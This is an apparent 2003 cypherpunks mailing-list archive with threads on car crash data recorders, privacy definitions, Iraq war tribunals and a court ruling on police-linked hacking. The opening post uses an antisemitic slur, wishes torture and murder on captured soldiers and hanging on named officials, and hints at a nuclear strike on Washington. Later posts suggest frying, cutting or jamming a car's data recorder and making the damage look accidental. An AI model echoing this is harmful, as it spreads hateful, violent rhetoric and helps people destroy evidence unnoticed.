subjects them to torture at Guantanamo Bay. I hope some captured U.S. 
soldiers are declared to be "illegal combatants" and similarly tortured 
and murdered.

As for Bush, Cheney, Rice, Powell, Wolfowitz, Perle and the rest of the 
Jew, er, New World Order, I hope they are eventually tried for treason 
for their lies and, if found guilty of lying about the supposed "WMDs," 
then hanged in a public square.  Actually, I hope General Powell first 
does the honorable thing and uses his .45 for its Approved Alternative 
Shame-Reduction Purpose.

(Note to the SS Gestapo: This is a statement of my protected political 
beliefs about what the court system of the U.S. _should_ do, not a 
statement of what freedom fighters plan to do. When freedom fighters 
act, the act will be a blinding white flash over the Criminal Capital, 
not some bullshit hanging of some run-of-the-mill criminals like Bush, 
Hitler, Rice, Goebbels, Powell, Mussolini, Wolfwowitz, Quisling, etc. )

The United States needs to have its hard drive reformatted.


--Tim May




From timcmay at got.net  Tue Jun 17 21:25:14 2003
From: timcmay at got.net (Tim May)
Date: Tue, 17 Jun 2003 21:25:14 -0700
Subject: [Brinworld] Car's data recorder convicts driver
In-Reply-To: <Pine.LNX.4.33.0306180048210.8641-100000@Zeta>
Message-ID: <DBB120D1-A144-11D7-9C17-000A956B4C74@got.net>

On Tuesday, June 17, 2003, at 03:48  PM, Thomas Shaddack wrote:

> On Mon, 16 Jun 2003, Steve Schear wrote:
>> Seems like a market for "open source" EDRs could be a good one.  A 
>> user
>> accessible reset button could come in handy.
>
> Could a stun gun help?
>

Unlikely. Getting juice into the innards of a box in a way so as to 
overwrite data is not nearly so simply as applying sparky things to the 
outside of the box. Lots of reasons for this.


--Tim May




From timcmay at got.net  Tue Jun 17 21:30:35 2003
From: timcmay at got.net (Tim May)
Date: Tue, 17 Jun 2003 21:30:35 -0700
Subject: [Brinworld] Car's data recorder convicts driver
In-Reply-To: <Pine.LNX.4.33.0306172335480.8641-100000@Zeta>
Message-ID: <9B29CB08-A145-11D7-9C17-000A956B4C74@got.net>

On Tuesday, June 17, 2003, at 03:48  PM, Thomas Shaddack wrote:
>
>> Adam
>>
>> PS: Bob Blakely once defined privacy as the right to lie and get away
>> with it, which fits into some of what many people mean by privacy.
>
> Another possible definition is the right to tell the truth and get away
> with it.
>
> But both definitions are rather about free speech than about privacy, 
> but
> then we'd get to a fight over definitions which is in this context 
> better
> to leave on the shoulders of people making encyclopedias.
>

Maybe I have a minor corollary to Somebody's Law: "All debates about 
privacy eventually degenerate into foolish and off-target debates about 
the meaning of truth."

It never makes sense to argue about a "right to lie" or a "right to 
tell the truth." One man's lie is another man's truth. And even 
_asking_ for a true response is usually an overstepping, as it presumes 
the asker knows what is true and what is not. Pilate said it all 2000 
years ago.

--Tim May




From bill.stewart at pobox.com  Wed Jun 18 00:20:02 2003
From: bill.stewart at pobox.com (Bill Stewart)
Date: Wed, 18 Jun 2003 00:20:02 -0700
Subject: weird logic
In-Reply-To: <20030617231511.GA13887@cybershamanix.com>
Message-ID: <5.1.1.6.2.20030618000130.18648ec0@idiom.com>

At 06:15 PM 06/17/2003 -0500, Harmon Seaver wrote:
>http://news.bbc.co.uk/2/hi/middle_east/2998870.stm
>"With Iraq's judicial system in disarray after the end of the war, Paul Bremer
>said a special criminal court would be set up.
>He said the court would try people, "in particular senior Baathists... may 
>have
>committed crimes against the coalition, who are trying to destabilise the
>situation"."
>
>    So you invade a country, and the patriots who resist you are no longer
>soldiers, even guerillas, but "criminals" to be tried in the US's weird new
>courts, probably secretly with no representation.

Yup.  And USA Today was referring to the US military reserve soldiers
who were sent there as "Citizen Soldiers", but of course
*Iraqis* who fought the invaders weren't "citizen soldiers",
they were "terrorists" or "illegal combatants" or "evil" or
"failing to act sufficiently French by surrendering".

And since the US Constitution doesn't apply to
US forces operating outside the US, there's no prohibition
against "ex post facto" laws about "crimes against the coalition",
and of course the Bush Administration bullied Brussels into exempting
their armed forces from war crimes laws.




From shaddack at ns.arachne.cz  Tue Jun 17 15:48:10 2003
From: shaddack at ns.arachne.cz (Thomas Shaddack)
Date: Wed, 18 Jun 2003 00:48:10 +0200 (CEST)
Subject: [Brinworld] Car's data recorder convicts driver
In-Reply-To: <20030616221907.GA20708@lightship.internal.homeport.org>
Message-ID: <Pine.LNX.4.33.0306172335480.8641-100000@Zeta>

> Just wait 'till they integrate GPS, and GPRS or 802.11.

Transmitter is easy to find. Receiver is easy to jam with a micropower
jammer. Sometimes all you need could just be creatively tweaking the
ignition and antenna wiring to get "faulty shielding" in the right places;
it requires much more experience to make it look "accidental", though.

> Much of this can be seem in the OnStar systems, which haven't yet
> featured in divorce proceedings, afaik.

Matter of time. The next generation of sleuths will be much more tech
savvy than the current one.

> You can call up and find out where your car is.

...eg, in a nameless radio shadow.

> Adam
>
> PS: Bob Blakely once defined privacy as the right to lie and get away
> with it, which fits into some of what many people mean by privacy.

Another possible definition is the right to tell the truth and get away
with it.

But both definitions are rather about free speech than about privacy, but
then we'd get to a fight over definitions which is in this context better
to leave on the shoulders of people making encyclopedias.




From shaddack at ns.arachne.cz  Tue Jun 17 15:48:49 2003
From: shaddack at ns.arachne.cz (Thomas Shaddack)
Date: Wed, 18 Jun 2003 00:48:49 +0200 (CEST)
Subject: [Brinworld] Car's data recorder convicts driver
In-Reply-To: <5.2.1.1.0.20030616142314.043348d8@mail.attbi.com>
Message-ID: <Pine.LNX.4.33.0306180048210.8641-100000@Zeta>

On Mon, 16 Jun 2003, Steve Schear wrote:
> Seems like a market for "open source" EDRs could be a good one.  A user
> accessible reset button could come in handy.

Could a stun gun help?




From kelsey.j at ix.netcom.com  Tue Jun 17 21:58:56 2003
From: kelsey.j at ix.netcom.com (John Kelsey)
Date: Wed, 18 Jun 2003 00:58:56 -0400
Subject: [Brinworld] Car's data recorder convicts driver
In-Reply-To: <a75d95af9b278e4fe467e5e99c741e9f@erisiandiscord.de>
Message-ID: <5.2.0.9.0.20030618005834.044d4a00@pop.ix.netcom.com>

At 06:29 AM 6/17/03 +0159, Anonymous wrote:
>Adam Shostack wrote:
>
> > PS: Bob Blakely once defined privacy as the right to lie and get away
> > with it, which fits into some of what many people mean by privacy.
>
>So privacy is only of value to the dishonest?  I don't think so!
>I post anonymously, but not to lie.


"Fred, did you post that crap to cypherpunks?"

--John Kelsey, kelsey.j at ix.netcom.com
PGP: FA48 3237 9AD5 30AC EEDD  BBC8 2A80 6948 4CAA F259




From jtrjtrjtr2001 at yahoo.com  Wed Jun 18 06:22:30 2003
From: jtrjtrjtr2001 at yahoo.com (Sarad AV)
Date: Wed, 18 Jun 2003 06:22:30 -0700 (PDT)
Subject: weird logic
In-Reply-To: <5.1.1.6.2.20030618000130.18648ec0@idiom.com>
Message-ID: <20030618132230.76673.qmail@web21201.mail.yahoo.com>

hi,

Did any one say the US system works based on logic :-)

The news here is that on an average one US soidler
dies per day to a iraqi sniper particlually in crowded
areas where you cant blow of  a whole builiding
immediately.Maybe this is the wierd logic that the
iraqi's follow.Even they too have the right to follow
their own logic.
Only problem is that innocent soldiers on both sides
are the sufferers due to a bunch of intelligent people
who say they are doing it in national interest while
they are doing it for themselves in both nations.


Sarath.



--- Bill Stewart <bill.stewart at pobox.com> wrote:
> At 06:15 PM 06/17/2003 -0500, Harmon Seaver wrote:
> >http://news.bbc.co.uk/2/hi/middle_east/2998870.stm
> >"With Iraq's judicial system in disarray after the
> end of the war, Paul Bremer
> >said a special criminal court would be set up.
> >He said the court would try people, "in particular
> senior Baathists... may 
> >have
> >committed crimes against the coalition, who are
> trying to destabilise the
> >situation"."
> >
> >    So you invade a country, and the patriots who
> resist you are no longer
> >soldiers, even guerillas, but "criminals" to be
> tried in the US's weird new
> >courts, probably secretly with no representation.
> 
> Yup.  And USA Today was referring to the US military
> reserve soldiers
> who were sent there as "Citizen Soldiers", but of
> course
> *Iraqis* who fought the invaders weren't "citizen
> soldiers",
> they were "terrorists" or "illegal combatants" or
> "evil" or
> "failing to act sufficiently French by
> surrendering".
> 
> And since the US Constitution doesn't apply to
> US forces operating outside the US, there's no
> prohibition
> against "ex post facto" laws about "crimes against
> the coalition",
> and of course the Bush Administration bullied
> Brussels into exempting
> their armed forces from war crimes laws.
> 


__________________________________
Do you Yahoo!?
SBC Yahoo! DSL - Now only $29.95 per month!
http://sbc.yahoo.com




From eresrch at eskimo.com  Wed Jun 18 06:25:52 2003
From: eresrch at eskimo.com (Mike Rosing)
Date: Wed, 18 Jun 2003 06:25:52 -0700 (PDT)
Subject: [Brinworld] Car's data recorder convicts driver
In-Reply-To: <20030618121705.GB45331@lightship.internal.homeport.org>
Message-ID: <Pine.GSU.4.44.0306180621430.13412-100000@eskimo.com>

On Wed, 18 Jun 2003, Adam Shostack wrote:

> I wasn't arguing, I was quipping.
>
> I find the many meanings of the word privacy to be fascinating.  So
> when someone commented that the car's tattle-box is or isn't a privacy
> invasion, I thought I'd offer up a definition under which it is.
> Its a definition that lots of people use, as John points out.
>
> Perhaps better than 'right' would be 'ability,' 'The ability to lie
> and get away with it.'
>
> Adam
>
>
> --
> 'No, honey, I was working late at the office.'

Reminds me of the first time I saw a guy with a "brick phone".
I'm in a bar eating a burger and drinking beer, and this guy sits
down one seat away from me, pulls out this huge cell phone, and
starts punching away.  10 seconds later he's saying "I'll be
late coming home, I have more work to do in the office".  Like she
can't here the background music!  Oh well, I was getting paid for
his air time :-)

Patience, persistence, truth,
Dr. mike




From jtrjtrjtr2001 at yahoo.com  Wed Jun 18 06:38:00 2003
From: jtrjtrjtr2001 at yahoo.com (Sarad AV)
Date: Wed, 18 Jun 2003 06:38:00 -0700 (PDT)
Subject: Design criteria of md5
Message-ID: <20030618133800.92973.qmail@web21202.mail.yahoo.com>

hi,

does any one have a reference to ron rivests paper on
the design criteria of md5.

Tbank You.

Sarath.

__________________________________
Do you Yahoo!?
SBC Yahoo! DSL - Now only $29.95 per month!
http://sbc.yahoo.com




From adam at homeport.org  Wed Jun 18 05:13:17 2003
From: adam at homeport.org (Adam Shostack)
Date: Wed, 18 Jun 2003 08:13:17 -0400
Subject: [Brinworld] Car's data recorder convicts driver
In-Reply-To: <5.2.0.9.0.20030618005834.044d4a00@pop.ix.netcom.com>
References: <a75d95af9b278e4fe467e5e99c741e9f@erisiandiscord.de>
  <5.2.0.9.0.20030618005834.044d4a00@pop.ix.netcom.com>
Message-ID: <20030618121317.GA45331@lightship.internal.homeport.org>

On Wed, Jun 18, 2003 at 12:58:56AM -0400, John Kelsey wrote:
| At 06:29 AM 6/17/03 +0159, Anonymous wrote:
| >Adam Shostack wrote:
| >
| >> PS: Bob Blakely once defined privacy as the right to lie and get away
| >> with it, which fits into some of what many people mean by privacy.
| >
| >So privacy is only of value to the dishonest?  I don't think so!
| >I post anonymously, but not to lie.
| 
| 
| "Fred, did you post that crap to cypherpunks?"

"Are you a slacker, McFly?"


-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume




From adam at homeport.org  Wed Jun 18 05:17:06 2003
From: adam at homeport.org (Adam Shostack)
Date: Wed, 18 Jun 2003 08:17:06 -0400
Subject: [Brinworld] Car's data recorder convicts driver
In-Reply-To: <9B29CB08-A145-11D7-9C17-000A956B4C74@got.net>
References: <Pine.LNX.4.33.0306172335480.8641-100000@Zeta>
  <9B29CB08-A145-11D7-9C17-000A956B4C74@got.net>
Message-ID: <20030618121705.GB45331@lightship.internal.homeport.org>

On Tue, Jun 17, 2003 at 09:30:35PM -0700, Tim May wrote:
| On Tuesday, June 17, 2003, at 03:48  PM, Thomas Shaddack wrote:
| >
| >>Adam
| >>
| >>PS: Bob Blakely once defined privacy as the right to lie and get away
| >>with it, which fits into some of what many people mean by privacy.
| >
| >Another possible definition is the right to tell the truth and get away
| >with it.
| >
| >But both definitions are rather about free speech than about privacy, 
| >but
| >then we'd get to a fight over definitions which is in this context 
| >better
| >to leave on the shoulders of people making encyclopedias.
| >
| 
| Maybe I have a minor corollary to Somebody's Law: "All debates about 
| privacy eventually degenerate into foolish and off-target debates about 
| the meaning of truth."
| 
| It never makes sense to argue about a "right to lie" or a "right to 
| tell the truth." One man's lie is another man's truth. And even 
| _asking_ for a true response is usually an overstepping, as it presumes 
| the asker knows what is true and what is not. Pilate said it all 2000 
| years ago.

I wasn't arguing, I was quipping.

I find the many meanings of the word privacy to be fascinating.  So
when someone commented that the car's tattle-box is or isn't a privacy
invasion, I thought I'd offer up a definition under which it is.
Its a definition that lots of people use, as John points out.

Perhaps better than 'right' would be 'ability,' 'The ability to lie
and get away with it.'

Adam


-- 
'No, honey, I was working late at the office.'




From schear at attbi.com  Wed Jun 18 08:20:44 2003
From: schear at attbi.com (Steve Schear)
Date: Wed, 18 Jun 2003 08:20:44 -0700
Subject: [Brinworld] Car's data recorder convicts driver
In-Reply-To: <20030618121705.GB45331@lightship.internal.homeport.org>
References: <9B29CB08-A145-11D7-9C17-000A956B4C74@got.net>
  <Pine.LNX.4.33.0306172335480.8641-100000@Zeta>
  <9B29CB08-A145-11D7-9C17-000A956B4C74@got.net>
Message-ID: <5.2.1.1.0.20030618073856.041bdea8@mail.attbi.com>

At 08:17 2003-06-18 -0400, Adam Shostack wrote:
>| It never makes sense to argue about a "right to lie" or a "right to
>| tell the truth." One man's lie is another man's truth. And even
>| _asking_ for a true response is usually an overstepping, as it presumes
>| the asker knows what is true and what is not. Pilate said it all 2000
>| years ago.
>
>I wasn't arguing, I was quipping.
>
>I find the many meanings of the word privacy to be fascinating.  So
>when someone commented that the car's tattle-box is or isn't a privacy
>invasion, I thought I'd offer up a definition under which it is.
>Its a definition that lots of people use, as John points out.
>
>Perhaps better than 'right' would be 'ability,' 'The ability to lie
>and get away with it.'

Indeed 'privacy' and 'secrecy' are often confused and their meanings 
overlap in many a mind.  I think that most, at least in the West, accept 
that privacy "..is based on rules and trust," for example, records kept on 
us by our doctors.  Because exposure of various aspects of our private 
lives can do lasting damage, privacy is only effective when controlled by 
the party seeking it, who may disclose it or not as they see fit and can 
only be guaranteed when those who would "sell you out" don't possess the 
possibly damaging information.  For that reason among others, I am really 
only interested in privacy mediated by personal secrecy and technologies I 
trust and/or control.

steve 




From hseaver at cybershamanix.com  Wed Jun 18 06:46:35 2003
From: hseaver at cybershamanix.com (Harmon Seaver)
Date: Wed, 18 Jun 2003 08:46:35 -0500
Subject: bbc
In-Reply-To: <20030618145333.E50731-100000@localhost>
References: <20030616225553.GA13134@cybershamanix.com>
  <20030618145333.E50731-100000@localhost>
Message-ID: <20030618134635.GA14926@cybershamanix.com>

On Wed, Jun 18, 2003 at 03:01:01PM +0100, Jim Dixon wrote:
> On Mon, 16 Jun 2003, Harmon Seaver wrote:
> 
> >    Did the IRA bomb the BBC newserver or something? They've been down for two
> > days now.
> 
> There has certainly been no interruption in service in the UK; I look
> at it daily.
> 
> However, news.bbc.co.uk is not one machine.  The BBC has at least two
> clusters of servers, one at Telehouse in London and the other in
> Telehouse America in New York.  When I was providing services to the
> BBC (up until about 18 months ago), these server farms were connected
> by a private circuit, enabling the NY site to mirror the UK site.
> Custom DNS software looked at where you were (by IP address) and then
> gave you an IP address in either London or New York, depending on
> whether you connected through the London Internet exchange.
> 
> What's most likely is that someone along the way has tried to be clever
> with caching/proxying and in effect has broken your connection.

   Must be something like that -- weird tho. I can get to news.bbc.co.uk just
fine, but the one I'd been using for a long, long time on a daily basis,
www.bbc.uk.com, just disappeared. Oh well. Makes me wonder tho, about who/what
the sites actually are that we go to -- maybe nothing is as it seems. 

-- 
Harmon Seaver	
CyberShamanix
http://www.cybershamanix.com




From mv at cdc.gov  Wed Jun 18 09:11:39 2003
From: mv at cdc.gov (Major Variola (ret.))
Date: Wed, 18 Jun 2003 09:11:39 -0700
Subject: Hacking for pigs makes you a pig, trojans, 4th amend
Message-ID: <3EF08F3B.6F32B81B@cdc.gov>

June 18, 2003

Evidence Barred in Ex-O.C. Judge's Child-Porn Case
Writings and photos were illegally obtained from Ronald Kline's
computer, court rules.

By Christine Hanley, Times Staff Writer

A federal judge on Tuesday threw out most of the key evidence in a
high-profile
child pornography case against a former Orange County judge, ruling that

sexually explicit diary entries and photos were discovered after illegal
computer
searches by a Canadian hacker who was working for police.

The ruling could undermine much of the case against Ronald C. Kline,
whose
arrest drew national attention and ultimately resulted in the judge
dropping his bid
for reelection.

U.S. District Judge
Consuelo B. Marshall in
Los Angeles found that
Kline's 4th Amendment
privacy rights were
violated when Bradley
Willman of Langley,
British Columbia, invaded
his home computer with
a so-called Trojan Horse
virus.
In a 12-page decision,
Marshall suppressed all
the evidence seized from
Kline's home and his
home computer, including excerpts from a
computer diary about his sexual desires and more
than 1,500 pornographic photos of young boys.

"The Court finds that Bradley Willman was a government agent at the time
of the intrusion, that Willman
thought of himself as an agent for law enforcement, and that Willman's
motivation was to act for law
enforcement purposes," Marshall wrote.

Willman, the judge ruled, was acting as a tool for police and  as with
any law enforcement agent 
would be barred from seizing any personal property without a search
warrant.

Marshall left open the question of whether material seized from Kline's
courthouse computer will be allowed,
asking both sides to return Sept. 15 to discuss that matter.

<snip>
http://www.latimes.com/news/local/la-me-kline18jun18,1,5480864.story?coll=la-headlines-california




From timcmay at got.net  Wed Jun 18 09:11:58 2003
From: timcmay at got.net (Tim May)
Date: Wed, 18 Jun 2003 09:11:58 -0700
Subject: [Brinworld] Car's data recorder convicts driver
In-Reply-To: <20030618121705.GB45331@lightship.internal.homeport.org>
Message-ID: <967DC182-A1A7-11D7-9C17-000A956B4C74@got.net>

On Wednesday, June 18, 2003, at 05:17  AM, Adam Shostack wrote:
>
> I wasn't arguing, I was quipping.
>
> I find the many meanings of the word privacy to be fascinating.  So
> when someone commented that the car's tattle-box is or isn't a privacy
> invasion, I thought I'd offer up a definition under which it is.
> Its a definition that lots of people use, as John points out.
>
> Perhaps better than 'right' would be 'ability,' 'The ability to lie
> and get away with it.'

I wasn't picking on you or your points, that's for sure. In fact, I 
barely noticed whose message I was replying to.

My point was a larger one, that nearly all such debates about privacy 
eventually come round to issues of "what have you got to hide?" and 
issues of truth and lies.

This is why I like the "Congresss shall make no law" and "shall not be 
infringed" absoluteness of the original Constitution. The language does 
not natter about "truthful speaking shall not be infringed."

And this is why more recent legislation allowing government to regulate 
"commercial speech" or to decide which speech is true and which is 
false (as in advertising claims) is so corrosive to liberty.

--Tim May
"The great object is that every man be armed and everyone who is able 
may have a gun." --Patrick Henry
"The best we can hope for concerning the people at large is that they 
be properly armed." --Alexander Hamilton




From mv at cdc.gov  Wed Jun 18 09:20:56 2003
From: mv at cdc.gov (Major Variola (ret.))
Date: Wed, 18 Jun 2003 09:20:56 -0700
Subject: 1st amend, thoughtcrime, schools as pipelines to jail
Message-ID: <3EF09168.92FFE142@cdc.gov>

To establish a criminal threat, it would have to be shown that he wanted
the [threatened] officer to see the
 work, the court said.

"The painting does not appear to be anything other than pictorial
ranting," the court said. "The criminal law
does not, and cannot now, implement a zero-tolerance policy concerning
the expressive depiction of
violence."

Schools are becoming one of the primary pipelines to the juvenile
justice system," said Shannan Wilber,
executive director of Legal Services for Children in San Francisco.

Excerpts from
http://www.latimes.com/news/local/la-me-threat18jun18001434,1,6789200.story?coll=la-headlines-california




From jal at jal.org  Wed Jun 18 09:45:16 2003
From: jal at jal.org (Jamie Lawrence)
Date: Wed, 18 Jun 2003 11:45:16 -0500
Subject: [Brinworld] Car's data recorder convicts driver
In-Reply-To: <5.2.1.1.0.20030618073856.041bdea8@mail.attbi.com>
References: <9B29CB08-A145-11D7-9C17-000A956B4C74@got.net>
  <Pine.LNX.4.33.0306172335480.8641-100000@Zeta>
  <9B29CB08-A145-11D7-9C17-000A956B4C74@got.net>
  <5.2.1.1.0.20030618073856.041bdea8@mail.attbi.com>
Message-ID: <20030618164515.GB17656@jal.clueinc.net>

On Wed, 18 Jun 2003, Steve Schear wrote:

> Indeed 'privacy' and 'secrecy' are often confused and their meanings 
> overlap in many a mind.  I think that most, at least in the West, accept 
> that privacy "..is based on rules and trust," for example, records kept on 
> us by our doctors.  Because exposure of various aspects of our private 
> lives can do lasting damage, privacy is only effective when controlled by 
> the party seeking it, who may disclose it or not as they see fit and can 
> only be guaranteed when those who would "sell you out" don't possess the 
> possibly damaging information.  For that reason among others, I am really 
> only interested in privacy mediated by personal secrecy and technologies I 
> trust and/or control.


I agree with you. Being anonymous is very important here.


Privacy is something alluded to by the famous "Gentlemen do not read
other gentlemen's mail".

Secrecy is what other people cannot find out.

Anonymity (strong or not) is vastly important to secrecy.

Medical data is a great example of this. It may be private, for some
(weak) values of private, right now. Being John Doe at the doctor's 
office and paying cash, though, is vastly better in terms of 
assurance, at least until the doctor's business-cam interfaces 
with other databases. Too bad that works so poorly with insurance, 
but then worker insurance in the US is nearly a government program, 
anyway.

-j


-- 
Jamie Lawrence                                        jal at jal.org
A computer without a Microsoft operating system is like a dog
without bricks tied to its head.




From schear at attbi.com  Wed Jun 18 13:03:32 2003
From: schear at attbi.com (Steve Schear)
Date: Wed, 18 Jun 2003 13:03:32 -0700
Subject: [Brinworld] Car's data recorder convicts driver
In-Reply-To: <20030618164515.GB17656@jal.clueinc.net>
References: <5.2.1.1.0.20030618073856.041bdea8@mail.attbi.com>
  <9B29CB08-A145-11D7-9C17-000A956B4C74@got.net>
  <Pine.LNX.4.33.0306172335480.8641-100000@Zeta>
  <9B29CB08-A145-11D7-9C17-000A956B4C74@got.net>
  <5.2.1.1.0.20030618073856.041bdea8@mail.attbi.com>
Message-ID: <5.2.1.1.0.20030618125752.041dde70@mail.attbi.com>

At 11:45 2003-06-18 -0500, Jamie Lawrence wrote:

>Anonymity (strong or not) is vastly important to secrecy.
>
>Medical data is a great example of this. It may be private, for some
>(weak) values of private, right now. Being John Doe at the doctor's
>office and paying cash, though, is vastly better in terms of
>assurance, at least until the doctor's business-cam interfaces
>with other databases. Too bad that works so poorly with insurance,
>but then worker insurance in the US is nearly a government program,
>anyway.

There may be a viable opportunity for an off-shore private medical 
insurance carrier which does not use your social security number as your 
identifier to the medical service provider.  Due to excessive U.S. fed and 
state insurance regulations many/most doctors might refuse to accept it (at 
least initially) it may be necessary for this insurance to operate "off 
network" so that subscribers would have to pay the care giver and be 
reimbursed.

steve 




From ravage at einstein.ssz.com  Wed Jun 18 11:03:42 2003
From: ravage at einstein.ssz.com (Jim Choate)
Date: Wed, 18 Jun 2003 13:03:42 -0500 (CDT)
Subject: New Zealand News - World - Beijing goes high-tech to block Sars
  messages (fwd)
Message-ID: <Pine.LNX.4.33.0306181303170.1657-100000@einstein.ssz.com>

http://www.nzherald.co.nz/storydisplay.cfm?storyID=3507534&thesection=news&thesubsection=world


 --
    ____________________________________________________________________

      We are all interested in the future for that is where you and I
      are going to spend the rest of our lives.

                              Criswell, "Plan 9 from Outer Space"

      ravage at ssz.com                            jchoate at open-forge.org
      www.ssz.com                               www.open-forge.org
    --------------------------------------------------------------------




From jdd at dixons.org  Wed Jun 18 07:01:01 2003
From: jdd at dixons.org (Jim Dixon)
Date: Wed, 18 Jun 2003 15:01:01 +0100 (BST)
Subject: bbc
In-Reply-To: <20030616225553.GA13134@cybershamanix.com>
Message-ID: <20030618145333.E50731-100000@localhost>

On Mon, 16 Jun 2003, Harmon Seaver wrote:

>    Did the IRA bomb the BBC newserver or something? They've been down for two
> days now.

There has certainly been no interruption in service in the UK; I look
at it daily.

However, news.bbc.co.uk is not one machine.  The BBC has at least two
clusters of servers, one at Telehouse in London and the other in
Telehouse America in New York.  When I was providing services to the
BBC (up until about 18 months ago), these server farms were connected
by a private circuit, enabling the NY site to mirror the UK site.
Custom DNS software looked at where you were (by IP address) and then
gave you an IP address in either London or New York, depending on
whether you connected through the London Internet exchange.

What's most likely is that someone along the way has tried to be clever
with caching/proxying and in effect has broken your connection.

--
Jim Dixon  jdd at dixons.org   tel +44 117 982 0786  mobile +44 797 373 7881




From sunder at sunder.net  Wed Jun 18 13:36:14 2003
From: sunder at sunder.net (Sunder)
Date: Wed, 18 Jun 2003 16:36:14 -0400 (edt)
Subject: 1st amend, thoughtcrime, schools as pipelines to jail
In-Reply-To: <3EF09168.92FFE142@cdc.gov>
Message-ID: <Pine.BSO.4.21.0306181635450.9417-100000@anon7.arachelian.com>

Anyone got a "cypherpunks/cypherpunks" like login for the turd of a login?

----------------------Kaos-Keraunos-Kybernetos---------------------------
 + ^ + :25Kliters anthrax, 38K liters botulinum toxin, 500 tons of   /|\
  \|/  :sarin, mustard and VX gas, mobile bio-weapons labs, nukular /\|/\
<--*-->:weapons.. Reasons for war on Iraq - GWB 2003-01-28 speech.  \/|\/
  /|\  :Found to date: 0.  Cost of war: $800,000,000,000 USD.        \|/
 + v + :           The look on Sadam's face - priceless!       
--------_sunder_ at _sunder_._net_------- http://www.sunder.net ------------

On Wed, 18 Jun 2003, Major Variola (ret.) wrote:

> http://www.latimes.com/news/local/la-me-threat18jun18001434,1,6789200.story?coll=la-headlines-california




From adam at homeport.org  Wed Jun 18 14:38:46 2003
From: adam at homeport.org (Adam Shostack)
Date: Wed, 18 Jun 2003 17:38:46 -0400
Subject: [Brinworld] Car's data recorder convicts driver
In-Reply-To: <967DC182-A1A7-11D7-9C17-000A956B4C74@got.net>
References: <20030618121705.GB45331@lightship.internal.homeport.org>
  <967DC182-A1A7-11D7-9C17-000A956B4C74@got.net>
Message-ID: <20030618213846.GA52977@lightship.internal.homeport.org>

On Wed, Jun 18, 2003 at 09:11:58AM -0700, Tim May wrote:
| On Wednesday, June 18, 2003, at 05:17  AM, Adam Shostack wrote:
| >
| >I wasn't arguing, I was quipping.
| >
| >I find the many meanings of the word privacy to be fascinating.  So
| >when someone commented that the car's tattle-box is or isn't a privacy
| >invasion, I thought I'd offer up a definition under which it is.
| >Its a definition that lots of people use, as John points out.
| >
| >Perhaps better than 'right' would be 'ability,' 'The ability to lie
| >and get away with it.'
| 
| I wasn't picking on you or your points, that's for sure. In fact, I 
| barely noticed whose message I was replying to.

Gives new meaning to anonymous postings. ;)

| My point was a larger one, that nearly all such debates about privacy 
| eventually come round to issues of "what have you got to hide?" and 
| issues of truth and lies.
| 
| This is why I like the "Congresss shall make no law" and "shall not be 
| infringed" absoluteness of the original Constitution. The language does 
| not natter about "truthful speaking shall not be infringed."
| 
| And this is why more recent legislation allowing government to regulate 
| "commercial speech" or to decide which speech is true and which is 
| false (as in advertising claims) is so corrosive to liberty.

Indeed.  The European data protection laws are fundamentally
unamerican.  Unfortunately, Congress has made laws, numbering each of
us, and then tries to regulate the abuse of that (free, freely usable,
legally enforced) numbering scheme.

Adam



-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume




From eresrch at eskimo.com  Wed Jun 18 19:41:53 2003
From: eresrch at eskimo.com (Mike Rosing)
Date: Wed, 18 Jun 2003 19:41:53 -0700 (PDT)
Subject: [Brinworld] Car's data recorder convicts driver
In-Reply-To: <Pine.LNX.4.33.0306190308460.4223-100000@Zeta>
Message-ID: <Pine.GSU.4.44.0306181930510.17379-100000@eskimo.com>

On Thu, 19 Jun 2003, Thomas Shaddack wrote:

> Works very nicely. :)
>
> Problem: leaves evidence, and takes time. The main advantage of electric
> shock is that the fried chip looks for the naked eye exactly the same way
> as a non-fried chip. The only difference could be found with a scanning
> electron microscope on the chip itself, which is something nobody is
> likely to bother with. Especially in harsh environments (cars classify)
> chips tend to die, so its death could look as natural enough to not be
> suspicious.
>
> If I am wrong, please tell me where and why. :)

Automotive environments are known to be harsh, so electronics is protected
to some extent.  The assumption is that spark plug voltages can get into
sensors, so most data lines are protected as are the sensor lines.  If you
try to fry things with double the voltage of a standard spark plug it may
not work, if you use 10 times that it will, but the ESD protection will
obviously be blown too.  That begins to look suspicious (but I doubt
anyone could _prove_ you fried it on purpose).

The main question is how deep is the memory of these things.  If they only
remember the last catastrophic event then "privacy" isn't a problem.  The
actual routes taken are not stored.  If you are in an accident and the
cops ask you to take a breath test, you can take the test or not - and
deal with the consequences of the legal system based on your choice.  The
data taken from the recorder for the "event" is then corroboration, which
may help instead of hurt you.

If the box remembers everything you do, and the garage mechanic can use it
to blackmail you, then it becomes a "privacy" issue.  I think the issue is
when data is removed, and how much is actually stored.  Can anybody
explain the details?

Patience, persistence, truth,
Dr. mike




From jburnes at vonu.net  Wed Jun 18 18:02:33 2003
From: jburnes at vonu.net (jburnes)
Date: Wed, 18 Jun 2003 20:02:33 -0500
Subject: [Brinworld] Car's data recorder convicts driver
In-Reply-To: <Pine.LNX.4.33.0306182305070.4223-100000@Zeta>
Message-ID: <B56A4D2A-A1F1-11D7-B446-003065BD2A5E@vonu.net>

Why go to all that trouble.  Just take it out of circuit.  Cut the 
printed circuit
board leads and disable it or if its in an inaccessible black box, cut 
the
leads to the box.

Easy enough.


On Wednesday, June 18, 2003, at 04:11  PM, Thomas Shaddack wrote:

> On Tue, 17 Jun 2003, Tim May wrote:
>> Unlikely. Getting juice into the innards of a box in a way so as to
>> overwrite data is not nearly so simply as applying sparky things to 
>> the
>> outside of the box. Lots of reasons for this.
>
> The idea wasn't about overwriting the data. The idea was about frying 
> the
> chip with the data inside (and if all the other chips inside the box
> become a collateral damage, let's that be so). As long as it is outside
> the technological abilities of the given adversary to retrieve the data
> from the fried chip, the objective is reached.
>
> The idea also wasn't about the outside of the box, I thought rather
> disconnecting the power leads and blasting the spark into the power-GND
> pair, or into the (disconnected, we don't want to kill the entire car
> electronics) data bus. With a bit of luck, the spark could get through 
> the
> filters and into the Vcc pins of the chips.




From ravage at einstein.ssz.com  Wed Jun 18 18:12:50 2003
From: ravage at einstein.ssz.com (Jim Choate)
Date: Wed, 18 Jun 2003 20:12:50 -0500 (CDT)
Subject: Slashdot | Sweden To Outlaw File Sharing, Crypto Breaking?
  (fwd)
Message-ID: <Pine.LNX.4.33.0306182012230.1657-100000@einstein.ssz.com>

http://yro.slashdot.org/yro/03/06/18/2328233.shtml?tid=153&tid=99


 --
    ____________________________________________________________________

      We are all interested in the future for that is where you and I
